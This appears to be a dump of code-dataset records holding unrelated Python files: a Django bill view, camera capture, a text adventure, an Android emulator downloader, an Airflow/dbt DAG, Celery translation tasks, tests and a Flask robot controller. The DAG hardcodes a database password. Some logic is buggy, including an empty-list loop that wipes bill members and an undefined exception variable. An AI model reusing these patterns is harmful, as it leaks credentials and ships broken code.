Bill.objects.get(id=object_id)\n except Exception as ex:\n raise Exception(ex)\n\n split_between = []\n for i in split_between:\n split_between.append(i['username'])\n members = CustomUser.objects.filter(username__in=split_between)\n bill.split_between.clear()\n\n for member in members:\n bill.split_between.add(member)\n\n bill.name = name\n bill.group = group\n bill.amount = amount\n bill.paid_by = paid_by\n bill.save()\n","sub_path":"split_bills_app/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"255289516","text":"import logging, os\nimport gphoto2 as gp\nimport subprocess\n\n\ndef capture_photo():\n logging.basicConfig(format='%(levelname)s: %(name)s: %(message)s', level=logging.WARNING)\n gp.check_result(gp.use_python_logging())\n\n # make a list of all available cameras\n camera_list = []\n for name, addr in gp.check_result(gp.gp_camera_autodetect()):\n camera_list.append((name, addr))\n\n # find our Canon\n idx = [name for name, _ in camera_list].index('Canon PowerShot S50 (PTP mode)')\n\n # connecting to the camera\n name, addr = camera_list[idx]\n camera = gp.Camera()\n port_info_list = gp.PortInfoList()\n port_info_list.load()\n idx = port_info_list.lookup_path(addr)\n camera.set_port_info(port_info_list[idx])\n\n # initializing camera\n try:\n camera.init()\n except gp.GPhoto2Error as error:\n if error.code != -60:\n raise error\n\n # http://gphoto.org/doc/manual/FAQ.html#FAQ-already-in-use\n print('Device is already in use.')\n print('gvfs-mount -s gphoto2...')\n subprocess.call(['gvfs-mount', '-s', 'gphoto2'])\n camera.init()\n\n file_path = camera.capture(gp.GP_CAPTURE_IMAGE)\n camera_file = camera.file_get(file_path.folder, file_path.name, gp.GP_FILE_TYPE_NORMAL)\n\n target = os.path.join('./input', file_path.name)\n gp.check_result(gp.gp_file_save(camera_file, target))\n\n camera.file_delete(file_path.folder, file_path.name)\n camera.exit()\n\n return target\n\n\ndef capture_photo_fake():\n return './input/IMG_0013.JPG'","sub_path":"canon.py","file_name":"canon.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"247939566","text":"from item import Item\nfrom room import Room\nfrom player import Player\n\n# Declare all the rooms\n\nroom = {\n 'outside': Room(\"Outside Cave Entrance\",\n \"North of you, the cave mount beckons\"),\n\n 'foyer': Room(\"Foyer\", \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\"),\n\n 'overlook': Room(\"Grand Overlook\", \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\"),\n\n 'narrow': Room(\"Narrow Passage\", \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\"),\n\n 'treasure': Room(\"Treasure Chamber\", \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\"),\n}\n\nitem = {\n 'staff': Item('staff', 'You have found the War staff of the Red God Magius'),\n 'axe': Item(\"axe\", \"Flint's axe uses magical properties to propel itself through all objects\"),\n 'torch': Item(\"torch\", \"The silver torch shines with the light of a thousand stars\"),\n 'quilt': Item(\"quilt\", \"Long ago the Demon Dagor created the quilt of space, use it to the best of you ability\"),\n 'mirror': Item(\"mirror\", \"Syron mirror of values, show you the path least taken\")\n}\n\n\n# Link rooms together\n\nroom['outside'].n_to = room['foyer']\nroom['foyer'].s_to = room['outside']\nroom['foyer'].n_to = room['overlook']\nroom['foyer'].e_to = room['narrow']\nroom['overlook'].s_to = room['foyer']\nroom['narrow'].w_to = room['foyer']\nroom['narrow'].n_to = room['treasure']\nroom['treasure'].s_to = room['narrow']\n\n# staff, axe, torch, quilt, mirror\nroom['foyer'].add_item(item['staff'])\nroom['overlook'].add_item(item['axe'])\nroom['narrow'].add_item(item['quilt'])\nroom['treasure'].add_item(item['mirror'])\nroom['foyer'].add_item(item['torch'])\n\n\n# new instance of player with name and current room\nplayer = Player(input('Name? '), room['outside'])\n\nwhile True:\n # create a variable that holds the current players current room\n current_room = player.current_room\n # display the current room for the player after each turn\n print(\n f'~Current Room: {current_room.name} \\n {current_room.description}')\n\n print(\n f'~~Avaialble Items in Room: {[item.name for item in player.current_room.get_items()]}')\n\n # print(\n # f'~~Players Current Inventory: {[item.name for item in player.get_inventory()]}')\n\n command = input('command: ').strip().lower().split(' ')\n\n # loop through the current items in the room\n room_items = {\n item.name: item for item in player.current_room.get_items()}\n # loop through the players current items\n player_items = {item.name: item for item in player.get_inventory()}\n\n if len(command) == 1:\n # Input Errors and \"q\", quit the game.\n if command[0] not in ['n', 's', 'e', 'w', 'i', 'q']:\n print(\"Please enter a valid direction\")\n continue\n if command[0] == 'q':\n print('Thank you for playing and good bye!')\n break\n # navigation\n if command[0] == 'n':\n if current_room.n_to is None:\n print('Cant go that way')\n continue\n else:\n player.current_room = current_room.n_to\n elif command[0] == 's':\n if current_room.s_to is None:\n print('Cant go that way')\n continue\n else:\n player.current_room = current_room.s_to\n elif command[0] == 'e':\n if current_room.e_to is None:\n print('Cant go that way')\n continue\n else:\n player.current_room = current_room.e_to\n elif command[0] == 'w':\n if current_room.w_to is None:\n print('Cant go that way')\n continue\n else:\n player.current_room = current_room.w_to\n elif command[0] == 'i':\n print(f'player inventory: {player.get_inventory()}')\n\n # else:\n # print('please enter only n, s, e, w or q for quit')\n\n # Items\n elif len(command) == 2:\n # variable for first index\n verb = command[0]\n # variable for second index\n item_name = command[1]\n\n if verb == 'get' or verb == 'take':\n if item_name not in room_items:\n print('Object not found in room')\n continue\n else:\n item = room_items[item_name]\n\n player.current_room.delete_item(item)\n player.get_item(item)\n item.pickup_item()\n\n elif verb == 'drop':\n print(room_items)\n if item_name not in room_items:\n item = player_items[item_name]\n\n player.throw_item(item)\n player.current_room.add_item(item)\n item.drop_item()\n else:\n print('Object is not in your inventory')\n continue\n\n else:\n print(\"Please use 'get' or 'take' and item name, to pick up or drop item. Please enter only n, s, e, w or q for quit\")\n","sub_path":"src/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":5206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"402125167","text":"# Copyright 2019 The Android Open Source Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Minimal dependency script to query a set of\n# publically available emulator and system image zip files.\n\nimport os\nimport xml.etree.ElementTree as ET\n\nimport urlfetch\nfrom consolemenu import SelectionMenu\nfrom tqdm import tqdm\n\nSYSIMG_REPOS = [\n 'https://dl.google.com/android/repository/sys-img/android/sys-img2-1.xml',\n 'https://dl.google.com/android/repository/sys-img/google_apis/sys-img2-1.xml',\n 'https://dl.google.com/android/repository/sys-img/google_apis_playstore/sys-img2-1.xml'\n]\n\nEMU_REPOS = [\n 'https://dl.google.com/android/repository/repository2-1.xml',\n]\n\nCHANNEL_MAPPING = {\n \"channel-0\" : \"stable\",\n \"channel-1\" : \"beta\",\n \"channel-2\" : \"dev\",\n \"channel-3\" : \"canary\",\n}\n\nAPI_LETTER_MAPPING = {\n \"10\" : \"G\",\n \"15\" : \"I\",\n \"16\" : \"J\",\n \"17\" : \"J\",\n \"18\" : \"J\",\n \"19\" : \"K\",\n \"21\" : \"L\",\n \"22\" : \"L\",\n \"23\" : \"M\",\n \"24\" : \"N\",\n \"25\" : \"N\",\n \"26\" : \"O\",\n \"27\" : \"O\",\n \"28\" : \"P\",\n \"29\" : \"Q\",\n}\n\ndef _download(url, dest):\n if os.path.exists(dest):\n print(\" Skipping already downloaded file: {}\".format(dest))\n return dest\n with urlfetch.get(url) as r:\n with tqdm(r, total=int(r.headers['content-length']), unit='B', unit_scale=True) as t:\n with open(dest, 'wb') as f:\n for data in r:\n f.write(data)\n t.update(len(data))\n return dest\n\n\nclass SysImgInfo(object):\n def __init__(self, pkg):\n details = pkg.find('type-details')\n self.api = details.find('api-level').text\n\n codename = details.find('codename')\n if codename is None:\n if self.api in API_LETTER_MAPPING:\n self.letter = API_LETTER_MAPPING[self.api]\n else:\n self.letter = \"_\"\n else:\n self.letter = codename.text\n\n self.tag = details.find('tag').find('id').text\n\n if self.tag == 'default':\n self.tag = 'android'\n self.abi = details.find('abi').text\n self.zip = pkg.find('.//url').text\n self.url = 'https://dl.google.com/android/repository/sys-img/%s/%s' % (\n self.tag, self.zip)\n\n def download(self, dest = None):\n dest = dest or os.path.join(os.getcwd(), 'sys-img-{}-{}-{}.zip'.format(self.tag, self.api, self.letter))\n print(\"Downloading system image: {} {} {} {} to {}\".format(self.tag, self.api, self.letter, self.abi, dest))\n return _download(self.url, dest)\n\n\nclass EmuInfo(object):\n def __init__(self, pkg):\n rev = pkg.find('revision')\n\n rev_major = rev.find('major').text\n rev_minor = rev.find('minor').text\n rev_micro = rev.find('micro').text\n\n archives = pkg.find('archives')\n channel = pkg.find('channelRef')\n\n self.channel = CHANNEL_MAPPING[channel.attrib['ref']]\n\n self.version = \"%s.%s.%s\" % (rev_major, rev_minor, rev_micro)\n self.urls = {}\n\n for archive in archives:\n url = archive.find('.//url').text\n hostos = archive.find('host-os').text\n self.urls[hostos] = \"https://dl.google.com/android/repository/%s\" % url\n\n\n def download(self, hostos, dest=None):\n dest = dest or os.path.join(os.getcwd(), 'emulator-{}.zip'.format(self.version))\n print(\"Downloading emulator: {} {} to {}\".format(self.channel, self.version, dest))\n return _download(self.urls[hostos], dest)\n\ndef get_images_info():\n \"\"\"Gets all the publicly available system images from the Android Image Repos.\n\n Returns a list of AndroidSystemImages that were found.\n \"\"\"\n xml = []\n for url in SYSIMG_REPOS:\n response = urlfetch.get(url)\n if response.status == 200:\n xml.append(response.content)\n xml = [ET.fromstring(x).findall('remotePackage') for x in xml]\n # Flatten the list of lists into a system image objects.\n infos = [SysImgInfo(item) for sublist in xml for item in sublist]\n # Filter only for x86_64 images (TODO: allow other types)\n x64_images = [info for info in infos if info.abi == \"x86_64\"]\n return x64_images\n\ndef get_emus_info():\n \"\"\"Gets all the publicly available system images from the Android Image Repos.\n\n Returns a list of AndroidSystemImages that were found.\n \"\"\"\n xml = []\n for url in EMU_REPOS:\n response = urlfetch.get(url)\n if response.status == 200:\n xml.append(response.content)\n xml = [[p for p in ET.fromstring(x).findall('remotePackage') if \"emulator\" == p.attrib[\"path\"]] for x in xml]\n # Flatten the list of lists into a system image objects.\n infos = [EmuInfo(item) for sublist in xml for item in sublist]\n return infos\n\ndef select_image():\n img_infos = get_images_info()\n display = [\"{} {} {} {}\".format(img_info.tag, img_info.api, img_info.letter, img_info.abi) for img_info in img_infos]\n selection = SelectionMenu.get_selection(display, title='Select the system image you wish to use:')\n return img_infos[selection] if selection < len(img_infos) else None\n\n\ndef select_emulator():\n emu_infos = [x for x in get_emus_info() if 'linux' in x.urls]\n display = [\"EMU {} {}\".format(emu_info.channel, emu_info.version) for emu_info in emu_infos]\n selection = SelectionMenu.get_selection(display, title='Select the emulator you wish to use:')\n return emu_infos[selection] if selection < len(emu_infos) else None\n\n\ndef list_all_downloads():\n img_infos = get_images_info()\n emu_infos = get_emus_info()\n\n for img_info in img_infos:\n print(\"SYSIMG {} {} {} {} {}\".format(img_info.tag, img_info.api, img_info.letter, img_info.abi, img_info.url))\n\n for emu_info in emu_infos:\n for (hostos, url) in list(emu_info.urls.items()):\n print(\"EMU {} {} {} {}\".format(emu_info.channel, emu_info.version, hostos, url))\n","sub_path":"emu/emu_downloads_menu.py","file_name":"emu_downloads_menu.py","file_ext":"py","file_size_in_byte":6459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"13945850","text":"# Copyright (c) 2020 SMHI, Swedish Meteorological and Hydrological Institute \n# License: MIT License (see LICENSE.txt or http://opensource.org/licenses/mit).\n\"\"\"\nCreated on 2020-08-31 11:27\n\n@author: a002028\n\n\"\"\"\nfrom bawsvis.session import Session\nfrom bawsvis.readers.raster import raster_reader\nfrom bawsvis.plotting import PlotIceMap\nimport os\n\n\nif __name__ == \"__main__\":\n s = Session()\n\n season = '2017_2018'\n\n file = r'C:\\Utveckling\\BAWS-vis\\bawsvis\\export\\aggregation_{}.tiff'.format(season)\n # s.setting.set_export_directory(path=r'C:\\Temp\\baws_tempo\\data_2021')\n\n data = raster_reader(file)\n\n map_frame = {'lat_min': 52.5, 'lat_max': 66.,\n 'lon_min': 9., 'lon_max': 36.8}\n\n plot = PlotIceMap(data_mat=data.astype(float),\n lat_mat=s.setting.latitude_array,\n lon_mat=s.setting.longitude_array,\n cbar_label='Number of days with ice',\n cmap_step=20,\n max_tick=200,\n min_tick=1,\n use_frame=True,\n map_frame=map_frame,\n resolution='l',\n fig_title='Ice Season {}'.format(season.replace('_', '-')),\n fig_name='aggregation_ice_{}.png'.format(season),\n # fig_title='BAWS - Intercalibration 2021',\n # fig_name='intercalibration_2021.png',\n save_fig=True,\n clear_fig=True,\n )\n\n plot._draw_map()\n # plot._draw_mesh(p_color=True)\n # plot._save_figure(os.path.join(s.setting.export_directory, 'aggregation_ice_{}.png'.format(season)))\n","sub_path":"bawsvis/examples/ice_plot_single_map.py","file_name":"ice_plot_single_map.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"500618913","text":"import os\nimport sys\nimport json\nfrom datetime import datetime\nimport pandas as pd\nimport requests as rq\nfrom sqlalchemy import create_engine\nimport logging \nfrom airflow.decorators import dag, task\nfrom airflow.utils.dates import days_ago\nfrom airflow.operators.bash import BashOperator\nsys.path.append('/datafuel/')\nfrom datafuel.minio_fuel import (get_minio_client, df_to_csv_inMinio,\n df_to_csv_inDatalake, csv_inMinio_to_df, url_to_csv_inMinio)\n# These args will get passed on to each operator\n# You can override them on a per-task basis during operator initialization\n\n\ndefault_args = {\n 'owner': 'ABO',\n}\n@dag(default_args=default_args, schedule_interval=None, start_date=days_ago(2), tags=['dbt'])\ndef generate_dbt_source(\n # DREMIO_DRIVER: str = \"Dremio ODBC Driver 64-bit\",\n DREMIO_DRIVER: str = \"/opt/dremio-odbc/lib64/libdrillodbc_sb64.so\",\n DREMIO_HOST: str = \"dremio\",\n DREMIO_PORT: str = \"31010\",\n DREMIO_ENVIRONMENT: str = \"prd\",\n DREMIO_DATABASE: str = \"datalake-bucket\",\n DREMIO_SCHEMA: str = \"stg\",\n DREMIO_USER: str = \"amirb\",\n DREMIO_PASSWORD: str = \"pass4dremio\",\n DREMIO_MANAGED_OR_UNMANAGED: str = \"managed\",\n PROJECT_GITHUB_REPO: str = \"https://github.com/datafuel/sirene-06_dbt.git\",\n PROJECT_REPO: str = \"sirene-06_dbt\"\n):\n \"\"\"\n ### DBT Test\n \"\"\"\n \n\n clean_dbt_project = BashOperator(\n task_id='clean_dbt_project',\n bash_command='rm -rf ~/home/dbt'\n )\n\n clone_command = \"\"\"\n mkdir -p ~/home/dbt \\\n && cd ~/home/dbt \\\n && git clone {{ dag_run.conf['PROJECT_GITHUB_REPO'] }} \\\n && pwd \\\n && ls\n \"\"\"\n dbt_clone = BashOperator(\n task_id='dbt_clone',\n bash_command=clone_command\n )\n\n\n debug_command = \"\"\"\n cd ~/home/dbt/sirene-06_dbt \\\n && ls \\\n && dbt debug --profiles-dir profiles\n \"\"\"\n # debug_command=\"cd ~/home/dbt/sirene-06_dbt && ls\"\n dbt_debug = BashOperator(\n task_id='dbt_debug',\n bash_command=debug_command,\n env={\n \"DREMIO_DRIVER\":DREMIO_DRIVER,\n \"DREMIO_HOST\":DREMIO_HOST,\n \"DREMIO_PORT\":DREMIO_PORT,\n \"DREMIO_ENVIRONMENT\":DREMIO_ENVIRONMENT,\n \"DREMIO_DATABASE\":DREMIO_DATABASE,\n \"DREMIO_SCHEMA\":DREMIO_SCHEMA,\n \"DREMIO_USER\":DREMIO_USER,\n \"DREMIO_PASSWORD\":DREMIO_PASSWORD,\n \"DREMIO_MANAGED_OR_UNMANAGED\":DREMIO_MANAGED_OR_UNMANAGED\n }\n ) \n\n run_command = \"\"\"\n cd ~/home/dbt/sirene-06_dbt \\\n && ls \\\n && dbt run --profiles-dir profiles\n \"\"\" \n dbt_run = BashOperator(\n task_id='dbt_run',\n bash_command=run_command,\n env={\n \"DREMIO_DRIVER\":DREMIO_DRIVER,\n \"DREMIO_HOST\":DREMIO_HOST,\n \"DREMIO_PORT\":DREMIO_PORT,\n \"DREMIO_ENVIRONMENT\":DREMIO_ENVIRONMENT,\n \"DREMIO_DATABASE\":DREMIO_DATABASE,\n \"DREMIO_SCHEMA\":DREMIO_SCHEMA,\n \"DREMIO_USER\":DREMIO_USER,\n \"DREMIO_PASSWORD\":DREMIO_PASSWORD,\n \"DREMIO_MANAGED_OR_UNMANAGED\":DREMIO_MANAGED_OR_UNMANAGED\n }\n )\n\n# dbt_deps.set_upstream(dbt_clone)\n \n clean_dbt_project >> dbt_clone >> dbt_debug >> dbt_run\n # generate_dbt_vars >> dbt_debug\n \n \ngenerate_dbt_source_dag = generate_dbt_source()\n","sub_path":"dags/generate_dbt_source.py","file_name":"generate_dbt_source.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"503463966","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function, unicode_literals\nfrom future.utils import raise_from\nfrom builtins import (bytes, str, open, super, range,\n zip, round, input, int, pow, object)\n \nimport os\nimport re\nimport sys\nimport shutil\nimport unittest\nfrom test.utility import no_stderrout, redirect_stdout, create_file, read_file\n\nfrom gslab_make import clear_dir\n\nfrom gslab_make import start_makelog, end_makelog, write_to_makelog\n\nclass TestMakeLog(unittest.TestCase):\n \n def setUp(self):\n with no_stderrout():\n clear_dir(['test/log/'])\n\n def make_paths(self, makelog_path = 'test/log/make.log'):\n paths = {'makelog': makelog_path}\n \n return(paths)\n\n def check_makelog(self, paths):\n makelog = read_file(paths['makelog'])\n self.assertTrue(re.search('Makelog started: ', makelog))\n self.assertTrue(re.search('Hello, World!', makelog))\n self.assertTrue(re.search('Makelog ended: ', makelog))\n\n def test_makelog(self): \n with no_stderrout():\n paths = self.make_paths()\n start_makelog(paths)\n write_to_makelog(paths, 'Hello, World!')\n end_makelog(paths)\n self.check_makelog(paths)\n\n def test_makelog_space(self): \n with no_stderrout():\n paths = self.make_paths(makelog_path = 'test/log/make space.log')\n start_makelog(paths)\n write_to_makelog(paths, 'Hello, World!')\n end_makelog(paths)\n self.check_makelog(paths)\n\n def test_error_bad_paths(self): \n with self.assertRaises(Exception):\n with no_stderrout():\n paths = {}\n start_makelog(paths)\n write_to_makelog(paths, 'Hello, World!')\n end_makelog(paths)\n\n def test_error_no_makelog(self): \n with self.assertRaises(Exception):\n with no_stderrout():\n paths = self.make_paths()\n write_to_makelog(paths, 'Hello, World!')\n end_makelog(paths)\n\n def tearDown(self):\n if os.path.isdir('test/log/'):\n shutil.rmtree('test/log/')\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"test/test_makelog.py","file_name":"test_makelog.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"583077074","text":"import traceback\nimport socketio\nimport json\nimport logging \nfrom celery import Celery\nfrom celery.bin import worker\n\nfrom . import REDIS_URL, UNBABEL_API_KEY, UNBABEL_USERNAME, init_logging\nfrom .unbabel_api import UnbabelApi, UnauthorizedException, BadRequestException\nfrom . import db\n\nLOGGER = logging.getLogger('translator.tasks')\n\napp = Celery('translator', broker=REDIS_URL)\nsio = socketio.Server(client_manager=socketio.RedisManager(REDIS_URL), write_only=True)\nunbabel = UnbabelApi(username=UNBABEL_USERNAME, api_key=UNBABEL_API_KEY, sandbox=True)\n\n\ndef event(channel, sid, message):\n LOGGER.warning(message)\n sio.emit(channel, message, room=sid)\n\ndef status_event(sid, translation):\n event('status', sid, json.dumps(translation.__dict__))\n\ndef error_event(sid, error):\n event('error', sid, error)\n\ndef refresh(sid, translation):\n if translation.status != \"completed\":\n get_translation.apply_async((sid, translation.uid), countdown=2)\n \n\n@app.task\ndef translate(sid, text): \n try:\n translation = unbabel.post_translations(\n text=text,\n source_language=\"en\", \n target_language=\"es\"\n ) \n \n db.new_translation(sid, \\\n translation.uid, \\\n translation.text, \\\n translation.source_language, \\\n translation.target_language, \\\n translation.status\n )\n\n status_event(sid, translation)\n\n refresh(sid, translation)\n\n except Exception as e: \n LOGGER.error(traceback.format_exc())\n error_event(sid, 'TRANSLATION FAILED')\n \n\n@app.task\ndef get_translation(sid, uid): \n try:\n translation = unbabel.get_translation(uid) \n\n db.update_translation(uid, \\\n translation.status, \\\n translation.translation\n )\n\n status_event(sid, translation)\n \n refresh(sid, translation)\n except ValueError:\n LOGGER.error(traceback.format_exc()) \n get_translation.apply_async((sid, uid), countdown=5)\n error_event(sid, e.message)\n except Exception as e:\n LOGGER.error(traceback.format_exc()) \n error_event(sid, 'STATUS FAILED')\n\n\n\n","sub_path":"backend/translator/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"628528282","text":"import unittest\nfrom unittest import mock\nfrom unittest.mock import patch\n\nfrom mockTest.payApi import PayApi\n\n\nclass TestPayApi(unittest.TestCase):\n\n def setUp(self):\n self.pay = PayApi()\n\n @patch.object(PayApi, 'auth')\n def test_success(self, mock_auth):\n\n mock_auth.return_value = {'status_code':'200'}\n status = self.pay.pay('1000', '12345', '10000')\n self.assertEqual(status, '支付成功')\n\n @patch.object(PayApi, 'auth')\n def test_fail(self, mock_auth):\n mock_auth.return_value={'status_code':'500'}\n status = self.pay.pay('1000', '12345', '10000')\n self.assertEqual(status, '支付失败')\n\n @patch.object(PayApi, 'auth')\n def test_error(self, mock_auth):\n mock_auth.return_value={'status_code':'300'}\n status = self.pay.pay('1000', '12345', '10000')\n self.assertEqual(status, '未知错误')\n\n @patch.object(PayApi, 'auth')\n def test_exception(self, mock_auth):\n mock_auth.return_value='200'\n status = self.pay.pay('1000', '12345', '10000')\n self.assertEqual(status, 'Error, 服务器异常!')\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"mockTest/mock_test2.py","file_name":"mock_test2.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"603193576","text":"from django.conf.urls.defaults import *\r\nfrom dj import views \r\n# Uncomment the next two lines to enable the admin:\r\n# from django.contrib import admin\r\n# admin.autodiscover()\r\n#all urls we need\r\nurlpatterns = patterns('',\r\n # Example:\r\n # (r'^mysite/', include('mysite.foo.urls')),\r\n\r\n # Uncomment the admin/doc line below to enable admin documentation:\r\n # (r'^admin/doc/', include('django.contrib.admindocs.urls')),\r\n\r\n # Uncomment the next line to enable the admin:\r\n# (r'^admin/', include(admin.site.urls)),\r\n (r'^$',views.search),\r\n (r'^add_author/$',views.add_author),\r\n (r'^add_book/$',views.add_book),\r\n (r'^delete/',views.Delete),\r\n (r'^title/',views.show_inf),\r\n)\r\n","sub_path":"Djangocode/Djangocode/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"48007518","text":"\nfrom flask import Flask, render_template, Response, stream_with_context, copy_current_request_context \nfrom camera import VideoCamera\nfrom flask_socketio import SocketIO\nfrom time import sleep\nfrom threading import Thread, Event\n#app = Flask(__name__)\n#app.config['SECRET_KEY'] = 'secret!'\n#socketio = SocketIO(app)\n\nimport RPi.GPIO as GPIO \nimport Adafruit_DHT\nimport time\n#import MCP3208 \nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n#pir=13 #pir sensor\n#buzz=19\n#io.setup(pir,io.IN)\n#io.setup(buzz,io.OUT)\nsen=18\n#buzz=26\n#io.setup(buzz,io.OUT)\nsensor=Adafruit_DHT.DHT11\n#TRIG1=3 #GPIO03 Two Ultrasonic sensors\n#ECHO1=4 #GPIO04\n#TRIG2=17 #GPIO17\n#ECHO2=27 #GIO27\nmotor1a=14 #Two motors\nmotor1b=15\nmotor2a=23\nmotor2b=24\ni=1\nGPIO.setup(motor1a,GPIO.OUT)\nGPIO.setup(motor1b,GPIO.OUT)\nGPIO.setup(motor2a,GPIO.OUT)\nGPIO.setup(motor2b,GPIO.OUT)\n#ser = serial.Serial(gps_port, baudrate = 9600, timeout = 0.5)\n#def get_distance1(TRIG1,ECHO1): #get the data from one ultrasonic value in distace\n# io.output(TRIG1,io.HIGH)\n# time.sleep(0.00001)\n# io.output(TRIG1,io.LOW)\n# while io.input(ECHO1)==False:\n# start=time.time()\n# while io.input(ECHO1)==True:\n# end=time.time()\n# seg_time=end-start\n# distance=seg_time/0.000058\n# return distance\n#def get_distance2(TRIG2,ECHO2): #get the data from one ultrasonic value in distace\n# io.output(TRIG2,io.HIGH)\n# time.sleep(0.00001)\n# io.output(TRIG2,io.LOW)\n# while io.input(ECHO2)==False:\n# start=time.time()\n# while io.input(ECHO2)==True:\n# end=time.time()\n# seg_time=end-start\n# distance=seg_time/0.000058\n# return distance\n#def GPS(): #GPS value\n# try:\n# data = ser.readline()\n# except:\n#\tprint (\"loading\") \n#\t#wait for the serial port to churn out data\n#\n# if data[0:6] == '$GPGGA': # the long and lat data are always contained in the GPGGA string of the NMEA data\n# \n# msg = pynmea2.parse(data)\n# \n#\t#parse the latitude and print\n# latval = msg.latitude\n#\tconcatlat = \"lat:\" + str(latval)\n#\t#print concatlat\n#\tlongval = msg.longitude\n#\tconcatlong = \"long:\"+ str(longval)\n#\t#print concatlong\n# \n#\ttime.sleep(0.5)\n#\treturn [latval,longval]\n#adc=MCP3208()\n#\ndef calculate():\n\n humidity,temp=Adafruit_DHT.read_retry(sensor,sen)\n print (\"humidity:\",humidity,\"RH\") #HUmidity reading\n print (\"temp:\",temp,\"C\") #temperature value\n# gps_coords=GPS() #gps coordinates will get\n# value=adc.read(0)\n# print('gas value:',value) #gas sensor value and status\n time.sleep(0.5)\n\t\n\n# if io.input(pir)==True: #pir status\n# list=['person is detected',gps_coords,humidity,temp,value]\n# time.sleep(0.5)\n# else: \n list=[0,0,humidity,temp,0]\n\n \n #list=[0,1,2,3,4]\n return list\n\n\n\napp = Flask(__name__,static_url_path='/static')\napp.config['SECRET_KEY'] = 'secret!'\napp.config['DEBUG'] = True\n\nsocketio = SocketIO(app)\n\nthread = Thread()\nthread_stop_event = Event()\n\nclass CountThread(Thread):\n def __init__(self):\n self.delay = 2\n super(CountThread, self).__init__()\n\n def ran(self):\n while True:\n temp=calculate()\n print(temp)\n socketio.emit('newnumber', {'number': temp}, namespace='/test')\n sleep(self.delay)\n\n def run(self):\n self.ran()\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@socketio.on('connect', namespace='/test')\ndef test_connect():\n # need visibility of the global thread object\n global thread\n print('Client connected')\n\n #Start the random number generator thread only if the thread has not been started before.\n if not thread.isAlive():\n print(\"Starting Thread\")\n thread = CountThread()\n thread.start()\n\n@socketio.on('disconnect', namespace='/test')\ndef test_disconnect():\n print('Client disconnected')\n\n\n\ndef gen(camera):\n while True:\n frame = camera.get_frame()\n yield (b'--frame\\r\\n'b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n\\r\\n')\n\n@app.route('/video_feed')\ndef video_feed():\n \n return Response(gen(VideoCamera()),mimetype='multipart/x-mixed-replace; boundary=frame')\n\n\n@app.route(\"/move_forward/\")\ndef move_forward(): #motor forward condition\n GPIO.output(motor1a,GPIO.HIGH)\n GPIO.output(motor1b,GPIO.LOW)\n GPIO.output(motor2a,GPIO.LOW)\n GPIO.output(motor2b,GPIO.HIGH)#Moving forward code\n forward_message = \"Moving Forward...\"\n return render_template('index.html', message=forward_message);\n\n@app.route(\"/move_reverse/\")\ndef move_reverse(): #motor reverse condition\n GPIO.output(motor1a,GPIO.LOW)\n GPIO.output(motor1b,GPIO.HIGH)\n GPIO.output(motor2a,GPIO.HIGH)\n GPIO.output(motor2b,GPIO.LOW)\n forward_message = \"Moving reverse...\"\n return render_template('index.html', message=forward_message);\n\n\n@app.route(\"/stop/\")\ndef stop(): #motor stop condition\n GPIO.output(motor1a,GPIO.LOW)\n GPIO.output(motor1b,GPIO.LOW)\n GPIO.output(motor2a,GPIO.LOW)\n GPIO.output(motor2b,GPIO.LOW)\n forward_message = \"Stoping...\"\n return render_template('index.html', message=forward_message);\n\n\n@app.route(\"/move_right/\")\ndef move_right(): #motor right condition\n GPIO.output(motor1a,GPIO.HIGH)\n GPIO.output(motor1b,GPIO.LOW)\n GPIO.output(motor2a,GPIO.HIGH)\n GPIO.output(motor2b,GPIO.LOW)\n forward_message = \"Moving right...\"\n return render_template('index.html', message=forward_message);\n\n\n\n@app.route(\"/move_left/\")\ndef move_left(): #motor left condition \n GPIO.output(motor1a,GPIO.LOW)\n GPIO.output(motor1b,GPIO.HIGH)\n GPIO.output(motor2a,GPIO.LOW)\n GPIO.output(motor2b,GPIO.HIGH)\n forward_message = \"Moving left...\"\n return render_template('index.html', message=forward_message);\n\n\n\nif __name__ == '__main__':\n socketio.run(app)\n app.run(host='0.0.0.0', debug=True)\n\n 